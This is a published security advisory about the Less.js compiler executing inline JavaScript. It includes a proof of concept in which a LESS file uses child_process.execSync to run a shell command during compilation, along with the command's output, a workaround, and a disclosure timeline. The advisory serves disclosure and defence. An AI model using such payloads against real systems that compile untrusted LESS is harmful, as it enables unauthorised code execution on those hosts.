skip to navigation. Skip to the content.
> Advisories > rt-sa-2016-003 vertical divider

Less.js: Compilation of Untrusted LESS Files May Lead to Code Execution through the JavaScript Less Compiler

RedTeam Pentesting discovered behaviour in the Less.js compiler, which allows execution of arbitrary code if an untrusted LESS file is compiled.


Details
=======

Product: Less Compiler
Affected Versions: probably all versions
Fixed Versions: none
Vulnerability Type: Code Execution
Security Risk: low
Vendor URL: http://lesscss.org/
Vendor Status: decided not to fix
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-003
Advisory Status: published


Introduction
============

"Less is a CSS pre-processor, meaning that it extends the CSS language, adding features that allow variables, mixins, functions and many other techniques that allow you to make CSS that is more maintainable, themable and extendable.

Less runs inside Node, in the browser and inside Rhino. There are also many 3rd party tools that allow you to compile your files and watch for changes."

(from the project's homepage)


More Details
============

The Less project provides a compiler [0] to transform LESS code into CSS. Among other features, it supports embedded inline JavaScript code in LESS files. To our knowledge, this feature is currently not mentioned in the official documentation provided by the Less project. However, while researching the history of the Less website it was discovered that this feature was indeed documented in the past [1]. Third parties also document this feature [2].

The following example shows how this feature can be used. JavaScript code can be embedded in LESS by enclosing it in backticks. In the following, the result of the expression '1+1' is assigned to the variable 'test':

------------------------------------------------------------------------
$ cat example.less
@test: `1+1`;
.redteam { redteam: "@{test}" }

$ lessc /tmp/example.less
.redteam {
  redteam: "2";
}
------------------------------------------------------------------------ 

Besides evaluating simple expressions, JavaScript code embedded in LESS files has access to several global objects. Compiling the following LESS code yields a list of these objects:

------------------------------------------------------------------------
$ cat list.less
@test: `Object.keys(global)`;
.redteam { redteam: "@{test}" }

$ lessc list.less
.redteam {
  redteam: "global, process, GLOBAL, root, Buffer, clearImmediate,
clearInterval, clearTimeout, setImmediate, setInterval, setTimeout,
console";
}
------------------------------------------------------------------------ 

As the proof of concept section demonstrates, access to these objects allows attackers to craft JavaScript code that executes an arbitrary shell command when it is evaluated in the context of the Less compiler. 


Proof of Concept
================

By passing LESS code that contains malicious embedded JavaScript code to the compiler, attackers can execute arbitrary shell commands during compilation. The following proof of concept shows LESS code, which executes the command 'ls -l /' and embeds the output into the compiled CSS:

------------------------------------------------------------------------
$ cat cmd.less
@cmd: `global.process.mainModule.require("child_process")
       .execSync("ls -l /")`;
.redteam { cmd: "@{cmd}" }

$ lessc cmd.less
.redteam {
  cmd: "total 68
lrwxrwxrwx.   1 root root     7 Sep 10  2015 bin -> usr/bin
dr-xr-xr-x.   6 root root  4096 Aug 25 09:16 boot
drwxr-xr-x.  22 root root  4300 Aug 26 10:22 dev
drwxr-xr-x. 161 root root 12288 Aug 26 09:22 etc
drwxr-xr-x.   4 root root  4096 Aug 25 13:20 home
lrwxrwxrwx.   1 root root     7 Sep 10  2015 lib -> usr/lib
lrwxrwxrwx.   1 root root     9 Sep 10  2015 lib64 -> usr/lib64
drwx------.   2 root root 16384 Oct 29  2015 lost+found drwxr-xr-x.   2 root root  4096 Sep 10  2015 media
drwxr-xr-x.   2 root root  4096 Sep 10  2015 mnt
drwxr-xr-x.   3 root root  4096 Oct 30  2015 opt
dr-xr-xr-x. 293 root root     0 Aug 26 08:46 proc
dr-xr-x---.  16 root root  4096 Aug 25 13:24 root
drwxr-xr-x.   2 root root  4096 Jul 20 09:44 rules.d
drwxr-xr-x.  46 root root  1340 Aug 26 09:22 run
lrwxrwxrwx.   1 root root     8 Sep 10  2015 sbin -> usr/sbin
drwxr-xr-x.   2 root root  4096 Sep 10  2015 srv
dr-xr-xr-x.  13 root root     0 Aug 26 08:47 sys
drwxrwxrwt.  19 root root   460 Aug 26 10:28 tmp
drwxr-xr-x.  12 root root  4096 Oct 29  2015 usr
drwxr-xr-x.  22 root root  4096 Aug 26 08:47 var
";
}
------------------------------------------------------------------------ 


Workaround
==========

Run the Less compiler with the option --no-js to disable evaluation of JavaScript code.


Fix
===

No fix available. Release 3.0 is supposed to have JavaScript execution disabled by default.


Security Risk
=============

An attacker can execute arbitrary code by providing a malicious LESS file to the Less compiler. This vulnerability can be exploited in various scenarios: If an application takes user-input and feeds it to
the Less compiler, an attacker can gain code execution and compromise the system running the Less compiler. If a user downloads and compiles a malicious LESS file, an attacker can compromise the user's system. 

RedTeam Pentesting discovered and exploited this vulnerability in a penetration test. However, it became increasingly clear after consultation with the LESS development team that the encountered situation is likely relatively rare. The reason for that is that LESS files are usually compiled on the server-side once and most often do not contain user-supplied content. In cases where LESS files do contain or consist of user-supplied content, the browser-based implementation [3] of the Less compiler is the typical choice.

Still, the official Less documentation does not mention the compiler's feature to evaluate inline JavaScript and the consequential risks. Thus, users are likely to be unaware that embedding user-controlled content into a LESS file may result in arbitrary code execution. Therefore, RedTeam Pentesting decided to release this advisory, to bring the users' attention to this important fact.


Timeline
========

2016-03-18 Vulnerability identified
2016-05-03 Advisory provided to customer
2016-05-31 Customer approved disclosure to vendor
2016-06-24 Advisory sent to vendor
2016-07-05 Vendor debates whether it is a security issue or a
documentation issue
2016-07-12 Vendor opts for waiting until release 3.0, which disables the
option to compile JavaScript by default
2016-07-14 RedTeam downrates the vulnerability from high risk to low to
acknowledge that it is more of a setup issue
2016-11-24 Still no release 3.0, advisory released


References
==========

[0] https://github.com/less/less.js
[1] http://web.archive.org/web/20140202171923/http://www.lesscss.org/
[2] http://www.bennadel.com/blog/2638-executing-javascript-in-the-less-css-precompiler.htm
[3] http://lesscss.org/#client-side-usage


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. 

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/